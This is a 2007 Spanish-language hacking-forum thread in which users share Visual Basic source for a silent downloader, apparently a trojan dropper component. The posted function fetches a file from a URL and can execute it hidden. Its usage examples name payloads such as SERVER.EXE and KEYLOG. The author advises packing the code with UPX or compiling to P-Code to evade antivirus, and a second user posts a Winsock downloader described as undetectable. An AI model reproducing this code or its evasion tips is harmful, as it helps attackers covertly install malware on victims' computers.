Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Mad Antrax en 19 Mayo 2007, 01:29 am



Título: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
Publicado por: Mad Antrax en 19 Mayo 2007, 01:29 am
Hola, estoy programando el Cactus Downloader y publico aquí la función que implementaré en su núcleo. Permite descargar un fichero desde una dirección web HTTP o FTP, sin advertir al usuario. Funciona igual de bien que la famosa API: URLDownloadToFileA de urlmon.dll

El problema de esa API es que es detectada por el 99% de los Antivirus, por eso he diseñado una función flexible. Espero que sepais usar valores por defecto y valores opcionales, aunque no es demasiado complicado, aquí el source:

Module1.bas
Código
  1. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  2. 'Función que permite descargar un fichero de internet HTTP o FTP sin usar llamadas a APIS
  3. '
  4. 'Uso de la función:
  5. '   DownloadFile(URL = String, FileName = String, [SavePath = GlobalVar], [RunAfterDownload = Boolean], [RunHide = Boolean])
  6. '   Return Value = Boolean (indica si se ha descargado o no el archivo)
  7. '
  8. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  9. Function DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
  10.    On Error Resume Next
  11.    Err.Clear
  12.  
  13.    Set XML = CreateObject("Microsoft.XMLHTTP")
  14.    Set ADS = CreateObject("ADODB.Stream")
  15.  
  16.    XML.Open "GET", URL, False
  17.    XML.send
  18.  
  19.    XML.getAllResponseHeaders
  20.  
  21.    FullSavePath = Environ(SavePath) & "\" & SaveName
  22.  
  23.    ADS.Open
  24.    ADS.Type = 1
  25.    ADS.Write XML.responseBody
  26.    ADS.SaveToFile FullSavePath, 2
  27.  
  28.    If Err Then
  29.        DownloadFile = False
  30.    Else
  31.        If RunAfterDownload = True Then
  32.            If RunHide = True Then
  33.                Shell FullSavePath, vbHide
  34.            Else
  35.                Shell FullSavePath, vbNormalFocus
  36.            End If
  37.        End If
  38.        DownloadFile = True
  39.    End If
  40. End Function
  41.  

Y para llamarla desde un Form o desde otra función:

Código
  1. Private Sub Command1_Click()
  2.    File = DownloadFile("http://perso.wanadoo.es/winworld/exec.exe", "prueba1.exe", "userprofile", True, False)
  3. End Sub
  4.  

El uso de la función es simple, y como usa valores Opcionales y Por Defecto solo tiene 2 argumentos requeridos, ejemplos:

DownloadFile("URL","NOMBRE")
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de NOMBRE, lo ejecuta y muestra la ventana

DownloadFile("URL","SERVER.EXE","SYSTEMROOT",FALSE)
Descargar el fichero URL y lo guarda en la capeta Windows con el nombre de SERVER.EXE, no lo ejecuta

DownloadFile("URL","KEYLOG",,,TRUE)
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de KEYLOG, lo ejecuta y NO muestra la ventana.

Si os complicais o no lo entendeis avisar, posteo un ejemplo (descargas válidad solo para usuarios registrados)


Título: Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
Publicado por: 3k1n0x en 19 Mayo 2007, 07:35 am
wow tenia varios dias en el foro, me acabo de registrar y justo buscaba algo asi, muy buena  ;D saludos


Título: Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
Publicado por: Jareth en 19 Mayo 2007, 12:47 pm
Que bueno ||MadAntrax||,deberian hacer una recopilacion de todos tus donaciones(que son muchas)y de otros users que tambien etsan posteando sources.


Título: Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
Publicado por: ~~ en 19 Mayo 2007, 16:44 pm
Muy weno la verdad, a ver si sale ya ese Cactus Donwloader ;)


Título: Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
Publicado por: sp26 en 19 Mayo 2007, 19:08 pm
Si te das cuenta, al guardar ese codigo en un Modulo BAS y lo guardas (No copilar), los antivirus lo detectan como Troyano.

Si quieres haz la prueba y subelo a VirusTotal.


Título: Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
Publicado por: Mad Antrax en 19 Mayo 2007, 19:24 pm
Si te das cuenta, al guardar ese codigo en un Modulo BAS y lo guardas (No copilar), los antivirus lo detectan como Troyano.

Si quieres haz la prueba y subelo a VirusTotal.

Sí, es cierto ,esto ocurre porque los objectos Microsoft.XMLHTTP y ADODB.Stream pueden usarse en archivos VBScripting (como en VBS, VBE, HTML, etc...) permitiendo crear un downloader en texto plano, por eso algunos AntiVirus detectará en código fuente como "virus".

Pero no te preocupes por eso, si lo compilas (creas el EXE) los Antivirus por ahora no lo detectan, y siempre puedes terminar comprimiendo tu ejecutable en UPX o compilando a P-Code para dificultar su detección.

Saludos!!


Título: Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
Publicado por: ~~ en 19 Mayo 2007, 19:27 pm
Citar
Que bueno ||MadAntrax||,deberian hacer una recopilacion de todos tus donaciones(que son muchas)y de otros users que tambien etsan posteando sources.

Seria una wena idea q algun moderador global reopilara sus codigos, verdad ||MadAntrax||  :xD :xD :xD :xD


Título: Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
Publicado por: Mad Antrax en 19 Mayo 2007, 19:31 pm
Seria una wena idea q algun moderador global reopilara sus codigos, verdad ||MadAntrax||

Por una simple cuestión de igualdad, no creo que sea justo que se recopilen mis sources simplemente porque tenga el "poder" de hacerlo. Si algun usuario quiere mis sources solo tiene que usar el buscador y filtrar por mi usuario en el subforo de VB, no?

Saludos!!


Título: Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
Publicado por: Jareth en 19 Mayo 2007, 20:45 pm
Bueno,yo lo que digo es que aparte de todos tus aportes hay mas usuarios qeu han aportado como E0N y seria bueno tener todos esos aportes recopilados.
Y lo que tu dices de buscar yo no lo veo asi,se puede buscar cuando se sabe lo que uno quiere pero imaginate que uno no sabe lo que es Melt,pero lo ve y ve que le puede interesar,pues asi con muchos aportes,que se estan perdiendo entre los posts.
Saludos.


Título: Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
Publicado por: vivachapas en 22 Mayo 2007, 02:54 am
creo q seria muy interesante crear una "biblioteca de codes de VB"...

y q alguien se encargue de ver q codes entran... y por ejemplo q alguien quiere poner uno q antes sea revisado para ver si esta bien y si realmente es util...

;)

muy buen manual


Título: Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
Publicado por: satan69 en 22 Mayo 2007, 05:12 am
y en que carpeta lo guarda.. por ejemplo..



Título: Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
Publicado por: Mad Antrax en 22 Mayo 2007, 09:23 am
y en que carpeta lo guarda.. por ejemplo..

Pues es fácil... este código captura las carpetas que hay dentro de las variables globales del sistema: windir, systemroot, homedrive, userprofile, tmp, etc...

Esta explicado en los parámetros de la función:

Código:
DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)

DownloadFile "http://www.server.com/a.exe", "server.exe"

Esta función me gusrda el archivo en C:\DOCUME~1\USUARI~1\CONFIG~1\Temp\server.exe. Lo ejecuta de forma visible.

Luego juega tu mismo con los demás parámetros de la función DownloadFile.

Saludos!!


Título: Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
Publicado por: ‭‭‭‭jackl007 en 4 Junio 2007, 04:22 am
Aqui dejo otro:


Código:
'***************************************************************************
'Ejemplo de como descargar un archivo de internet usando el control Winsock
'***************************************************************************
'Copyright 2003-2004 SMG Software.
'***************************************************************************
Dim Data As String
Dim BytesAlreadySent As Single
Dim FILEPATHNAME
Dim Est As String
Private Sub Command1_Click()
BytesAlreadySent = 1
If Text1.Text = "" Then Exit Sub
strURL = Text1.Text
Dim Pos%, LENGTH%, NextPos%, LENGTH2%, POS2%, POS3%
    Pos = InStr(strURL, "://")
    LENGTH2 = Len("://")
    LENGTH = Len(strURL)
    If InStr(strURL, "://") Then
    strURL = Right(strURL, LENGTH - LENGTH2 - Pos + 1)
    End If
    If InStr(strURL, "/") Then
    POS2 = InStr(strURL, "/")
    Dim StrFile$: StrFile = strURL
    Do Until InStr(StrFile, "/") = 0
    LENGTH2 = Len(StrFile)
    POS3 = InStr(StrFile, "/")
    StrFile = Right(strURL, LENGTH2 - POS3)
    StrFile = Right(strURL, LENGTH2 - POS3)
    Loop
    FileName = StrFile
    strURL = Left(strURL, POS2 - 1)
    End If
Winsock.Connect strURL, 80
FILEPATHNAME = "C:\" & FileName
End Sub
Private Sub Command3_Click()
If Winsock.State >= 1 Then
Winsock.Close
Data = ""
BytesAlreadySent = 1
End If
Est = "1"

End Sub
Private Sub ExitMNU_Click()
If Winsock.State > 0 Then
Winsock.Close
End If
End
End Sub

Private Sub Form_Load()
Est = "1"
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
If Winsock.State > 1 Then
Winsock.Close
End If


End Sub
Private Sub Form_Unload(Cancel As Integer)
If Winsock.State > 1 Then
Winsock.Close
End If
End Sub

Private Sub HeaderTXT_Change()

End Sub

Private Sub Label2_Click()

End Sub

Private Sub Winsock_Close()

If Est = "1" Then
MsgBox "Completado - Descargado en C"
Est = "2"
End If

End Sub

Private Sub Winsock_Connect()
On Error Resume Next
Dim strCommand As String
strCommand = "GET " + Text1.Text + " HTTP/1.0" + vbCrLf
strCommand = strCommand + "Accept: *.*, */*" + vbCrLf
strCommand = strCommand + "Referer: " & strURL & vbCrLf
strCommand = strCommand + vbCrLf
Winsock.SendData strCommand
End Sub

Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)

    Winsock.GetData Data, vbString

If InStr(Data, "Content-Type:") Then

   
    Dim Pos%, LENGTH%, HEAD$
    Pos = InStr(Data, vbCrLf & vbCrLf)
    LENGTH = Len(Data)
    HEAD = Left(Data, Pos - 1)
    Data = Right(Data, LENGTH - Pos - 3)
End If

        Open FILEPATHNAME For Binary Access Write As #1
        Put #1, BytesAlreadySent, Data
        BytesAlreadySent = Seek(1)
        Close #1



End Sub


el command1 es descargar y el command2 es detener. y colocan text de la url.
...
funciona muy bien y es 100% indetectable...
espero q les sirva